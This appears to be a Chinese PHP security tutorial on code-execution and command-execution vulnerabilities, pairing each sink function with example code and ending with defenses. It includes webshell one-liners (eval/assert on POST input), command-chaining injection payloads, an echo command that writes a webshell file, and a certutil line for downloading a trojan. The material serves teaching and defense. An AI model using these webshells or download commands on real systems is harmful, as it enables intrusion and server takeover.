任意代码执行漏洞

任意代码执行漏洞的原理

1
2
##漏洞产生原理:
在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用eval函数(PHP函数)去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。

任意代码执行漏洞的危害

1
2
3
4
5
1.执行任意的代码,例如协议脚本文件

2.向网站写入webshell

3.控制整个网站或者服务器

任意代码执行漏洞的利用

相关函数:

1.eval()

1
2
3
4
##示例代码
<?php
eval($_POST['123']);
?>

2.assert()

1
2
3
4
##示例代码
<?php
assert($_REQUEST["a"]);
?>

3.preg_replace()

1
2
3
4
5
6
7
##示例代码
#函数执行一个正则表达式的搜索和替换。
<?php
$a = $_GET['a'];
echo preg_replace("/test/e", $a, "just test!")
?>
//关键点在于第二个replacement参数我们能否控制,然后,第一个pattern参数是否带了/e,第三个参数,必须满足第一个pattern参数的条件,可用版本:php版本5.6以下

4.create_function()

1
2
3
4
5
6
7
##示例代码
#创建匿名函数执行代码
<?php
$func = create_function('$a,$b','echo $a,$b;');
$func('hello','world');
?>
//适用范围:PHP 4->4.0.1,PHP 5,PHP 7

5.array_map()

1
2
3
4
5
6
##示例代码
<?php
$arr=['phpinfo();'];
array_map('assert',$arr);
?>
//函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

6.call_user_func()

1
2
3
4
5
##示例代码
<?php
call_user_func("assert",$_POST['cmd']);
?>
//将传入的参数作为assert函数的参数

7.call_user_func_array()

1
2
3
4
5
6
7
##示例代码
<?php
$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>
//将传入的参数作为数组的第一个值传递给assert函数

8.array_filter()

1
2
3
4
5
6
7
8
##示例代码
<?php
$cmd=$_POST['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>
//用回调函数过滤数组中的元素:array_filter(数组,函数)

9.usort()

1
2
3
4
5
6
##示例代码
<?php
usort(...$_GET,'assert');
?>
//函数使用用户定义的函数按值对数组进行排序
//?1[]=1-1&1[]=eval($_POST['x'])&2=assert url输入后用蚁剑连接

10.uasort()

1
2
3
4
5
##示例代码
<?php
uasort ( $array, $cmp_function )
?>
//函数对一个数组进行排序,使得数组索引保持与它们所关联的数组元素的相关性

拓展:

1
2
3
4
5
6
7
8
##动态函数调用

##PHP版本低于7.1以下,才可以字符串动态调用,7.1之后的版本无法执行该命令
<?php
$_GET['a']($_GET['b']);
?>
//?a=assert&b=phpinfo()

任意代码执行漏洞的防御

1
2
3
4
5
1.对于eval( )等函数一定要保证用户不能轻易接触eval或者其他代码执行的的参数或者用正则严格(preg_replace /e)判断输入的数据格式。

2.对于字符串一定要使用单引号包裹可控代码,并且 插入前进行addslashes().

3.对于preg_replace放弃使用e修饰符。如果必须要用e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹 。

任意命令执行漏洞

任意命令执行漏洞的原理:

1
2
##漏洞产生原理:
在开发应用时,一些应用需要去调用一些外部程序。而当应用需要调用一些外部程序时就会用到一些执行系统命令的函数。应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。

任意命令执行漏洞的利用

命令执行相关函数:

一、有回显函数

1.system(args)
1
2
3
4
5
6
7
8
9
10
11
12
13
##payload示例:
$arg = $_GET['cmd'];
if($arg){
system("ping $arg");
/*在url里可以直接输入cmd命令,比如输入IP可以类似命令行ping;
想要执行其他命令可用逻辑符号连接;
例如:
&&连接:前面命令为假时不执行后面命令
&连接:前面命令不管真假都执行后面命令,并且打印后面的值.
||连接:前面命令为真时不执行后面命令
|连接:前面命令不管真假都执行后面命令,并且打印后面的值.
*/
}
2.passthru(args)
1
2
3
4
5
##payload示例:
$arg = $_GET['cmd'];
if($arg){
passthru($arg);
}

二、无回显函数

1.exec(args,$arr)
1
2
3
##payload示例:
exec('whoami',$arr);
var_dump($arr);

2.shell_exec(args) (无回显-必须echo输出)
1
2
##payload示例:
echo shell_exec('whoami');

3.反引号:``
1
2
##payload示例:
echo `$_GET[1]`;//在url可以输入命令直接传入使用
4.popen(handle,mode)
1
2
3
4
5
6
7
##打开是资源需配合fread读或fget读 
#payload:示例:
$x=popen($_GET['cmd'],'r');
echo $f=fread($x,1024);
while ($f=fread($x,1024)){
echo $f;
}
5.proc_open(‘cmd’,’flag’,’flag’)
1
2
3
4
5
6
7
8
9
##payload示例:
$des = array(
0 => array("pipe", "r"), // 标准输入,子进程从此管道中读取数据
1 => array("pipe", "w"), // 标准输出,子进程向此管道中写入数据
2 => array("file", "./error-output.txt", "a") // 标准错误,写入到一个文件
);
$process = proc_open($_GET['cmd'], $des, $pipes);
var_dump($pipes);
echo stream_get_contents($pipes[1]);

命令执行相关符号

1
2
3
4
5
6
7
8
9
ps:Llinux 下支持分号 ”;”分隔命令。

短路逻辑与 &(%26) :前面无论真假,后面都执行,并且打印后面的值.

短路逻辑与 &&(%26%26):前面如果为真,才执行后面的,如果为假,后面不执行。

短路逻辑或 | :前面无论真假,后面都执行,并且打印后面的值.

短路逻辑或 || :前后两个参数,如果第一为真,第二个不判断

任意命令执行漏洞的危害

1
2
3
4
5
6
7
8
9
1.继承Web服务器程序的权限,去执行系统命令

2.继承Web服务器程序的权限,读写文件 echo ^<?php eval($_POST[1]); ?^> > 1.php
//“双引号被过滤可以用^符号代替,^为windous系统的转义符,例如:^<、^>、^&...

3.反弹shell

4.控制整个网站,甚至控制整个服务器

任意命令执行漏洞的防御

1
2
3
4
5
6
7
8
9
10
11
12
漏洞修复方案:
1.能使用脚本解决的工作,不要调用其他程序处理,尽量少用执行命令的函数,并在disable_functions(php.ini中)中禁用函数。

2.在进入命令执行的函数或方法之前,对参数进行过滤。使用这些函数escapeshellcmd / escapeshellarg过滤
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
escapeshellcmd shell 元字符转义

3.参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义。
// addslashes() 函数在指定的预定义字符前添加反斜杠。这些字符是单引号(')、双引号(")、反斜线(\)与NUL(NULL字符)。

4.类似exec() 的函数中数据,避免用户可控。

拓展:

1
2
3
4
5
##拓展知识 certutil是windows下一款下载文件的工具

certutil是用cmd命令行可以从网上url下载东西到本地,可以利用其下载木马文件

certutil -urlcache -split -f 木马文件网络地址